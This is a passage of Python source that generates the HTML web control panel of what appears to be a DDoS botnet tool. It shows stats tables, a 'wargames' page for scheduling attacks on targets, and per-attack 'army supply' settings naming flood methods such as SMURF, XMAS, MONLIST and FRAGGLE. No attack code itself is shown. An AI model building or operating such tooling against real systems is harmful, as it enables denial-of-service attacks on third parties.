  1146. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1147. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1148. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1149. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1150. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1151. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1152. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1153. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1154. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1155. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1156. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1157. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1158. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1159. grid_contact = "<a href=javascript:alert('"+str(m[10][0:12])+"');>View</a>" # js contact view (obfuscation)
  1160. try:
  1161. grid_id = m[11] # id (plain id)
  1162. except:
  1163. grid_id = "invalid!"
  1164. elif version == 10: # v0.9
  1165. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not loris present
  1166. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1167. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  1168. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1169. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  1170. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1171. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  1172. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1173. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  1174. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1175. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  1176. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1177. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1178. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1179. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1180. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1181. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1182. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1183. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1184. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1185. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1186. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1187. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1188. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1189. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1190. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1191. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1192. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1193. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1194. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1195. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1196. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1197. grid_contact = "<a href=javascript:alert('"+str(m[9][0:12])+"');>View</a>" # js contact view (obfuscation)
  1198. try:
  1199. grid_id = m[10] # id (plain id)
  1200. except:
  1201. grid_id = "invalid!"
  1202. else: # no valid version
  1203. pass
  1204. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_monlist)+"</td><td align='center'>"+str(grid_fraggle)+"</td><td align='center'>"+str(grid_sniper)+"</td><td align='center'>"+str(grid_ufoack)+"</td><td align='center'>"+str(grid_uforst)+"</td><td align='center'>"+str(grid_droper)+"</td><td align='center'>"+str(grid_overlap)+"</td><td align='center'>"+str(grid_pinger)+"</td><td align='center'>"+str(grid_ufoudp)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  1205. else: # not valid stream data
  1206. pass
  1207. grid_table += "</table>"
  1208. if mothership_members == 0:
  1209. mothership_members = "¿?"
  1210. if unknown_members == 0:
  1211. unknown_members = "¿?"
  1212. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  1213. mother_grid = "<div id='grid_panel_enc' style='display:block'><br><center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td><font color='orange'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td><font color='white'>¿?</font></td><td><font color='cyan' size='4'>**</font></td><td><font color='cyan'>¿?</font></td><td><font color='blueviolet' size='4'>***</font></td><td><font color='blueviolet'>¿?</font></td><td><font color='blue' size='4'>****</font></td><td><font color='blue'>¿?</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td><font color='red'>¿?</font></td></tr></table><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><tr><td>MISSIONS:</td><td>¿?</td><td>ATTACKS:</td><td>¿?</td><td>CHARGO (ACTIVE!):</td><td>¿?</td><td>DORKING:</td><td>¿?</td><td>TRANSF:</td><td>¿?</td><td>MAX.CHARGO:</td><td>¿?</td></tr></table><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><td>LOIC:</td><td>¿?</td><td>LORIS:</td><td>¿?</td><td>UFOSYN:</td><td>¿?</td><td>SPRAY:</td><td>¿?</td><td>SMURF:</td><td>¿?</td></tr><tr><td>XMAS:</td><td>¿?</td><td>NUKE:</td><td>¿?</td><td>TACHYON:</td><td>¿?</td><td>MONLIST:</td><td>¿?</td></tr><tr><td>FRAGGLE:</td><td>¿?</td><td>SNIPER:</td><td>¿?</td><td>UFOACK:</td><td>¿?</td><td>UFORST:</td><td>¿?</td></tr><tr><td>DROPER:</td><td>¿?</td><td>OVERLAP:</td><td>¿?</td><td>PINGER:</td><td>¿?</td><td>UFOUDP:</td><td>¿?</td></tr></table><br><hr><br>"
  1214. grid_table = mother_grid + grid_table + "</div>"
  1215. return grid_table
  1216. def html_grid(self):
  1217. if self.ranking == "Rookie": # Rookie
  1218. your_ranking = "<font color='white'>Rookie [*]</font>"
  1219. elif self.ranking == "Mercenary": # Mercenary
  1220. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  1221. elif self.ranking == "Bandit": # Bandit
  1222. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  1223. elif self.ranking == "UFOmmander!": # UFOmmander!
  1224. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  1225. elif self.ranking == "UFOl33t!": # UFOl33t!
  1226. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  1227. else:
  1228. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  1229. if '"grid_token": "NONE"' in open(self.mothership_gridcfg_file).read():
  1230. device_state = "OFF"
  1231. device = "GRID device: <font color='red'>OFF</font><br>"
  1232. else:
  1233. device_state = "ON"
  1234. gridcfg_json_file = open(self.mothership_gridcfg_file, "r") # extract mothership gridcfg
  1235. data = json.load(gridcfg_json_file)
  1236. gridcfg_json_file.close()
  1237. grid_token = data["grid_token"]
  1238. grid_contact = data["grid_contact"]
  1239. grid_contact.encode('utf-8')
  1240. grid_nick = data["grid_nick"]
  1241. grid_nick.encode('utf-8')
  1242. device = "<table cellpadding='5'><tr><td> -CONTACT: "+str(grid_contact)+"</td></tr><tr><td> -NICKNAME: "+str(grid_nick)+"</td></tr><tr><td> -RANKING: "+str(your_ranking)+"</td></tr><tr><td> -ID: "+str(grid_token)+"</td></tr></table>"
  1243. if device_state == "OFF":
  1244. grid_panel = ""
  1245. else:
  1246. grid_table = self.generate_grid()
  1247. grid_panel = grid_table + "<br><div id='cmdOut'></div><br></center><center>"
  1248. if device_state == "OFF":
  1249. dec_panel = ""
  1250. else:
  1251. dec_panel = "<table cellpading='5' cellspacing='10'><tr><td><form method='GET'>Your key: <input type='text' name='grid_key' id='grid_key' size='20' value='"+ str(self.crypto_key) +"'></td><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_grid();>Try decryption!</a></form></td></tr></table>"
  1252. if device_state == "OFF":
  1253. sync_panel = ""
  1254. else:
  1255. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source' id='grid_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><hr>"
  1256. if device_state == "OFF":
  1257. transfer_panel = ""
  1258. else:
  1259. transfer_panel = "<form method='GET'><table cellpadding='5' cellspacing='5'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source_upload' id='grid_source_upload' size='20' value='"+default_blackhole+"'></td></tr><tr><td>Key (encryption):</td><td><input type='text' name='grid_key_upload' id='grid_key_upload' size='20' value='"+ str(self.crypto_key) +"'></td></tr></table></td><td><button title='Upload stats of your mothership to the Grid of that blackhole...' onclick='TransferGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Transfer data...</button></td></tr></table></form><hr>"
  1260. if device_state == "OFF":
  1261. remove_grid = ""
  1262. else:
  1263. remove_grid = '| <button title="Review your mothership stats..." onclick="Stats()">STATS!</button> | <button title="Syncronize data from a blackhole/grid with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Decrypt data with a specific key..." onclick="Decryption_panel()">DECRYPT!</button> | <button title="Send your data to a global blackhole/grid..." onclick="Transfer_panel()">UPLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveGrid()">TURN OFF!</button>'
  1264. return self.pages["/header"] + """<script language="javascript">
  1265. function GridProfile() {
  1266. var win_grid_profile = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1267. }
  1268. function RemoveGrid() {
  1269. var win_grid_profile = window.open("grid_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1270. }
  1271. function Stats() {
  1272. var win_grid_profile = window.open("stats","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1273. }
  1274. function Sync_panel(){
  1275. document.getElementById("sync_panel_block").style.display = "block";
  1276. document.getElementById("dec_panel").style.display = "none";
  1277. document.getElementById("transfer_panel").style.display = "none";
  1278. }
  1279. function SyncGrid(){
  1280. grid_source=document.getElementById("grid_source").value
  1281. if(grid_source == "") {
  1282. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1283. return
  1284. }else{
  1285. params="grid_source="+escape(grid_source)
  1286. runCommandX("cmd_sync_grid",params)
  1287. setTimeout("location.reload()", 10000)
  1288. }
  1289. }
  1290. function Transfer_panel(){
  1291. document.getElementById("transfer_panel").style.display = "block";
  1292. document.getElementById("sync_panel_block").style.display = "none";
  1293. document.getElementById("dec_panel").style.display = "none";
  1294. }
  1295. function TransferGrid() {
  1296. grid_source=document.getElementById("grid_source_upload").value
  1297. grid_key=document.getElementById("grid_key_upload").value
  1298. if(grid_source == "") {
  1299. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1300. return
  1301. }else{
  1302. if(grid_key == "") {
  1303. window.alert("You need to enter a valid key (provided by someone)");
  1304. return
  1305. }else{
  1306. params="grid_source="+escape(grid_source)+"&grid_key="+escape(grid_key)
  1307. runCommandX("cmd_transfer_grid",params)
  1308. setTimeout("location.reload()", 10000)
  1309. }
  1310. }
  1311. }
  1312. function Decryption_panel(){
  1313. document.getElementById("dec_panel").style.display = "block";
  1314. document.getElementById("transfer_panel").style.display = "none";
  1315. document.getElementById("sync_panel_block").style.display = "none";
  1316. }
  1317. function Decrypt_grid(){
  1318. grid_key=document.getElementById("grid_key").value
  1319. if(grid_key == "") {
  1320. window.alert("You need to enter a valid key (provided by someone)");
  1321. return
  1322. }else{
  1323. params="grid_key="+escape(grid_key)
  1324. runCommandX("cmd_decrypt_grid",params)
  1325. panel_enc = document.getElementById("grid_panel_enc").style.display
  1326. if(panel_enc == "block"){
  1327. panel_enc = document.getElementById("grid_panel_enc").style.display = 'none';
  1328. }
  1329. }
  1330. }
  1331. function GridFilter(filter, key){
  1332. params="filter="+escape(filter)+"&key="+escape(key)
  1333. runCommandX("cmd_grid_filter", params)
  1334. setTimeout("Decrypt_grid()", 2000)
  1335. }
  1336. </script>
  1337. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1338. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1339. <br><center>
  1340. <table cellpadding="5" cellspacing="5"><tr>
  1341. <td><a href="javascript:alert('7337-VH13 says: """ + self.ranking + """... Welcome to the Crypto-Grid!. A good place to represent our Federation.');"><img src='data:image/png;base64,"""+self.alien6_img+"""'></a></td><td>
  1342. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="GridProfile()">CONFIGURE!</button> """+remove_grid+"""</td></tr></table></tr></table>
  1343. <hr><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"""+sync_panel+"""</div><div id='transfer_panel' name='transfer_panel' style='display:none;'>"""+transfer_panel+"""</div><div id="dec_panel" style="display:none;">"""+dec_panel+"""<hr></div>"""+grid_panel+"""
  1344. """ + self.pages["/footer"]
  1345. def generate_wargames(self):
  1346. with open(self.wargames_file) as f:
  1347. for line in f:
  1348. line = line.strip()
  1349. f.close()
  1350. wargames_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TARGET:</u></td><td align='center'><u>DATE:</u></td><td align='center'><u>ETA:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  1351. for m in self.list_wargames: # list = creation, target, estimated
  1352. if wargames_msg_sep in m:
  1353. m = m.split(wargames_msg_sep)
  1354. wargame_creation = m[0][0:12] # creation date
  1355. wargame_creation = ''.join(random.sample(wargame_creation,len(wargame_creation))) # creation date (obfuscation)
  1356. wargame_target = m[1][0:12] # target (obfuscation)
  1357. wargame_target = ''.join(random.sample(wargame_target,len(wargame_target))) # target (obfuscation)
  1358. wargame_estimated = m[2][0:12] # estimated date
  1359. wargame_estimated = ''.join(random.sample(wargame_estimated,len(wargame_estimated))) # estimated date (obfuscation)
  1360. wargame_state = str("HSvtfBFwQBSms8h/7Ra/tKGNYp7KqiiNeOMPzDmrChJqyBJ+yuRiHpY9H+/LDQ==")[0:12] # state ("ENCRYPTED!")
  1361. wargame_state = ''.join(random.sample(wargame_state,len(wargame_state))) # state (obfuscation)
  1362. wargame_status = wargame_state # status (obfuscated like state)
  1363. wargames_table += "<tr><td align='center'>"+str(wargame_creation)+"</td><td align='center'>"+str(wargame_target)+"</td><td align='center'>"+str(wargame_estimated)+"</td><td align='center'>"+str(wargame_state)+"</td><td align='center'>"+str(wargame_status)+"</td></tr>"
  1364. wargames_table += "</table>"
  1365. mother_wargame = "<div id='wargames_panel_enc' style='display:block'>"
  1366. wargames_table = mother_wargame + wargames_table + "</div>"
  1367. return wargames_table
  1368. def html_wargames(self):
  1369. l = time.ctime(os.path.getmtime(self.wargames_file)) # get last modified time
  1370. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1371. wargames_table = self.generate_wargames()
  1372. return self.pages["/header"] + """<script language="javascript">
  1373. function Decrypt_wargames(){
  1374. wargames_deckey=document.getElementById("wargames_deckey").value
  1375. if(wargames_deckey == "") {
  1376. window.alert("You need to enter a valid key (provided by someone)");
  1377. return
  1378. }else{
  1379. params="wargames_deckey="+escape(wargames_deckey)
  1380. runCommandX("cmd_decrypt_wargames",params)
  1381. panel_enc = document.getElementById("wargames_panel_enc").style.display
  1382. if(panel_enc == "block"){
  1383. panel_enc = document.getElementById("wargames_panel_enc").style.display = 'none';
  1384. }
  1385. }
  1386. }
  1387. function SyncWargames(){
  1388. wargames_source=document.getElementById("wargames_source").value
  1389. if(wargames_source == "") {
  1390. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1391. return
  1392. }else{
  1393. params="wargames_source="+escape(wargames_source)
  1394. runCommandX("cmd_sync_wargames",params)
  1395. setTimeout("location.reload()", 10000)
  1396. }
  1397. }
  1398. function Send() {
  1399. wargames_source2=document.getElementById("wargames_source2").value
  1400. wargames_enckey=document.getElementById("wargames_enckey").value
  1401. wargames_target=document.getElementById("wargames_target").value
  1402. wargames_estimated=document.getElementById("wargames_estimated").value
  1403. if(wargames_source2 == "") {
  1404. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1405. return
  1406. }else{
  1407. if(wargames_enckey == "") {
  1408. window.alert("You need to enter a valid key (provided by someone)");
  1409. return
  1410. }else{
  1411. params="wargames_source2="+escape(wargames_source2)+"&wargames_enckey="+escape(wargames_enckey)+"&wargames_target="+escape(wargames_target)+"&wargames_estimated="+escape(wargames_estimated)
  1412. runCommandX("cmd_transfer_wargame",params)
  1413. setTimeout("location.reload()", 10000)
  1414. }
  1415. }
  1416. }
  1417. function JobRemove(id) {
  1418. params="id="+escape(id)
  1419. runCommandX("cmd_job_remove",params)
  1420. setTimeout("Decrypt_wargames()", 2000)
  1421. }
  1422. function JobAdd(id) {
  1423. params="id="+escape(id)
  1424. runCommandX("cmd_job_add", params)
  1425. setTimeout("Decrypt_wargames()", 2000)
  1426. }
  1427. function JobAddAll() {
  1428. runCommandX("cmd_job_add_all")
  1429. setTimeout("Decrypt_wargames()", 2000)
  1430. }
  1431. function JobCancel(id) {
  1432. params="id="+escape(id)
  1433. runCommandX("cmd_job_cancel", params)
  1434. setTimeout("Decrypt_wargames()", 2000)
  1435. }
  1436. function JobRemoveAll(key) {
  1437. params="key="+escape(key)
  1438. runCommandX("cmd_job_remove_all", params)
  1439. setTimeout("Decrypt_wargames()", 2000)
  1440. }
  1441. function JobCancelAll() {
  1442. runCommandX("cmd_job_cancel_all")
  1443. setTimeout("Decrypt_wargames()", 2000)
  1444. }
  1445. function JobFilter(filter, key) {
  1446. params="filter="+escape(filter)+"&key="+escape(key)
  1447. runCommandX("cmd_job_filter", params)
  1448. setTimeout("Decrypt_wargames()", 2000)
  1449. }
  1450. function EditSupply(){
  1451. if(document.getElementById("supply_edit").value == "EDIT"){
  1452. document.getElementById("supply_botnet").readOnly = false;
  1453. document.getElementById("supply_loic").readOnly = false;
  1454. document.getElementById("supply_loris").readOnly = false;
  1455. document.getElementById("supply_ufosyn").readOnly = false;
  1456. document.getElementById("supply_spray").readOnly = false;
  1457. document.getElementById("supply_smurf").readOnly = false;
  1458. document.getElementById("supply_xmas").readOnly = false;
  1459. document.getElementById("supply_nuke").readOnly = false;
  1460. document.getElementById("supply_tachyon").readOnly = false;
  1461. document.getElementById("supply_monlist").readOnly = false;
  1462. document.getElementById("supply_fraggle").readOnly = false;
  1463. document.getElementById("supply_sniper").readOnly = false;
  1464. document.getElementById("supply_ufoack").readOnly = false;
  1465. document.getElementById("supply_uforst").readOnly = false;
  1466. document.getElementById("supply_droper").readOnly = false;
  1467. document.getElementById("supply_overlap").readOnly = false;
  1468. document.getElementById("supply_pinger").readOnly = false;
  1469. document.getElementById("supply_ufoudp").readOnly = false;
  1470. document.getElementById("supply_edit").title = "Set global army supply..."
  1471. document.getElementById("supply_edit").value = "SET"
  1472. document.getElementById("supply_edit").innerHTML = "SET!"
  1473. }else{
  1474. supply_botnet=document.getElementById("supply_botnet").value
  1475. supply_loic=document.getElementById("supply_loic").value
  1476. supply_loris=document.getElementById("supply_loris").value
  1477. supply_ufosyn=document.getElementById("supply_ufosyn").value
  1478. supply_spray=document.getElementById("supply_spray").value
  1479. supply_smurf=document.getElementById("supply_smurf").value
  1480. supply_xmas=document.getElementById("supply_xmas").value
  1481. supply_nuke=document.getElementById("supply_nuke").value
  1482. supply_tachyon=document.getElementById("supply_tachyon").value
  1483. supply_monlist=document.getElementById("supply_monlist").value
  1484. supply_fraggle=document.getElementById("supply_fraggle").value
  1485. supply_sniper=document.getElementById("supply_sniper").value
  1486. supply_ufoack=document.getElementById("supply_ufoack").value
  1487. supply_uforst=document.getElementById("supply_uforst").value
  1488. supply_droper=document.getElementById("supply_droper").value
  1489. supply_overlap=document.getElementById("supply_overlap").value
  1490. supply_pinger=document.getElementById("supply_pinger").value
  1491. supply_ufoudp=document.getElementById("supply_ufoudp").value
  1492. if(isNaN(parseFloat(supply_botnet)) || parseFloat(supply_botnet) < 0) {
  1493. window.alert("You need to enter a valid BOTNET supply number (int>=0)");
  1494. return
  1495. }else{
  1496. if(isNaN(parseFloat(supply_loic)) || parseFloat(supply_loic) < 0) {
  1497. window.alert("You need to enter a valid LOIC supply number (int>=0)");
  1498. return
  1499. }else{
  1500. if(isNaN(parseFloat(supply_loris)) || parseFloat(supply_loris) < 0) {
  1501. window.alert("You need to enter a valid LORIS supply number (int>=0)");
  1502. return
  1503. }else{
  1504. if(isNaN(parseFloat(supply_ufosyn)) || parseFloat(supply_ufosyn) < 0) {
  1505. window.alert("You need to enter a valid UFOSYN supply number (int>=0)");
  1506. return
  1507. }else{
  1508. if(isNaN(parseFloat(supply_spray)) || parseFloat(supply_spray) < 0) {
  1509. window.alert("You need to enter a valid SPRAY supply number (int>=0)");
  1510. return
  1511. }else{
  1512. if(isNaN(parseFloat(supply_smurf)) || parseFloat(supply_smurf) < 0) {
  1513. window.alert("You need to enter a valid SMURF supply number (int>=0)");
  1514. return
  1515. }else{
  1516. if(isNaN(parseFloat(supply_xmas)) || parseFloat(supply_xmas) < 0) {
  1517. window.alert("You need to enter a valid XMAS supply number (int>=0)");
  1518. return
  1519. }else{
  1520. if(isNaN(parseFloat(supply_nuke)) || parseFloat(supply_nuke) < 0) {
  1521. window.alert("You need to enter a valid NUKE supply number (int>=0)");
  1522. return
  1523. }else{
  1524. if(isNaN(parseFloat(supply_tachyon)) || parseFloat(supply_tachyon) < 0) {
  1525. window.alert("You need to enter a valid TACHYON supply number (int>=0)");
  1526. return
  1527. }else{
  1528. if(isNaN(parseFloat(supply_monlist)) || parseFloat(supply_monlist) < 0) {
  1529. window.alert("You need to enter a valid MONLIST supply number (int>=0)");
  1530. return
  1531. }else{
  1532. if(isNaN(parseFloat(supply_fraggle)) || parseFloat(supply_fraggle) < 0) {
  1533. window.alert("You need to enter a valid FRAGGLE supply number (int>=0)");
  1534. return
  1535. }else{
  1536. if(isNaN(parseFloat(supply_sniper)) || parseFloat(supply_sniper) < 0) {
  1537. window.alert("You need to enter a valid SNIPER supply number (int>=0)");
  1538. return
  1539. }else{
  1540. if(isNaN(parseFloat(supply_ufoack)) || parseFloat(supply_ufoack) < 0) {
  1541. window.alert("You need to enter a valid UFOACK supply number (int>=0)");
  1542. return
  1543. }else{
  1544. if(isNaN(parseFloat(supply_uforst)) || parseFloat(supply_uforst) < 0) {
  1545. window.alert("You need to enter a valid UFORST supply number (int>=0)");
  1546. return
  1547. }else{
  1548. if(isNaN(parseFloat(supply_droper)) || parseFloat(supply_droper) < 0) {
  1549. window.alert("You need to enter a valid DROPER supply number (int>=0)");
  1550. return
  1551. }else{
  1552. if(isNaN(parseFloat(supply_overlap)) || parseFloat(supply_overlap) < 0) {
  1553. window.alert("You need to enter a valid OVERLAP supply number (int>=0)");
  1554. return
  1555. }else{
  1556. if(isNaN(parseFloat(supply_pinger)) || parseFloat(supply_pinger) < 0) {
  1557. window.alert("You need to enter a valid PINGER supply number (int>=0)");
  1558. return
  1559. }else{
  1560. if(isNaN(parseFloat(supply_ufoudp)) || parseFloat(supply_ufoudp) < 0) {
  1561. window.alert("You need to enter a valid UFOUDP supply number (int>=0)");
  1562. return
  1563. }else{
  1564. document.getElementById("supply_botnet").readOnly = true;
  1565. document.getElementById("supply_loic").readOnly = true;
  1566. document.getElementById("supply_loris").readOnly = true;
  1567. document.getElementById("supply_ufosyn").readOnly = true;
  1568. document.getElementById("supply_spray").readOnly = true;
  1569. document.getElementById("supply_smurf").readOnly = true;
  1570. document.getElementById("supply_xmas").readOnly = true;
  1571. document.getElementById("supply_nuke").readOnly = true;
  1572. document.getElementById("supply_tachyon").readOnly = true;
  1573. document.getElementById("supply_monlist").readOnly = true;
  1574. document.getElementById("supply_fraggle").readOnly = true;
  1575. document.getElementById("supply_sniper").readOnly = true;
  1576. document.getElementById("supply_ufoack").readOnly = true;
  1577. document.getElementById("supply_uforst").readOnly = true;
  1578. document.getElementById("supply_droper").readOnly = true;
  1579. document.getElementById("supply_overlap").readOnly = true;
  1580. document.getElementById("supply_pinger").readOnly = true;
  1581. document.getElementById("supply_ufoudp").readOnly = true;
  1582. document.getElementById("supply_edit").title = "Edit global army supply..."
  1583. document.getElementById("supply_edit").value = "EDIT"
  1584. document.getElementById("supply_edit").innerHTML = "EDIT"
  1585. params="botnet="+escape(supply_botnet)+"&loic="+escape(supply_loic)+"&loris="+escape(supply_loris)+"&ufosyn="+escape(supply_ufosyn)+"&spray="+escape(supply_spray)+"&smurf="+escape(supply_smurf)+"&xmas="+escape(supply_xmas)+"&nuke="+escape(supply_nuke)+"&tachyon="+escape(supply_tachyon)+"&monlist="+escape(supply_monlist)+"&fraggle="+escape(supply_fraggle)+"&sniper="+escape(supply_sniper)+"&ufoack="+escape(supply_ufoack)+"&uforst="+escape(supply_uforst)+"&droper="+escape(supply_droper)+"&overlap="+escape(supply_overlap)+"&pinger="+escape(supply_pinger)+"&ufoudp="+escape(supply_ufoudp)
  1586. runCommandX("cmd_edit_supply",params)
  1587. setTimeout("Decrypt_wargames()", 2000)
  1588. }
  1589. }
  1590. }
  1591. }
  1592. }
  1593. }
  1594. }
  1595. }
  1596. }
  1597. }
  1598. }
  1599. }
  1600. }
  1601. }
  1602. }
  1603. }
  1604. }
  1605. }
  1606. }
  1607. }
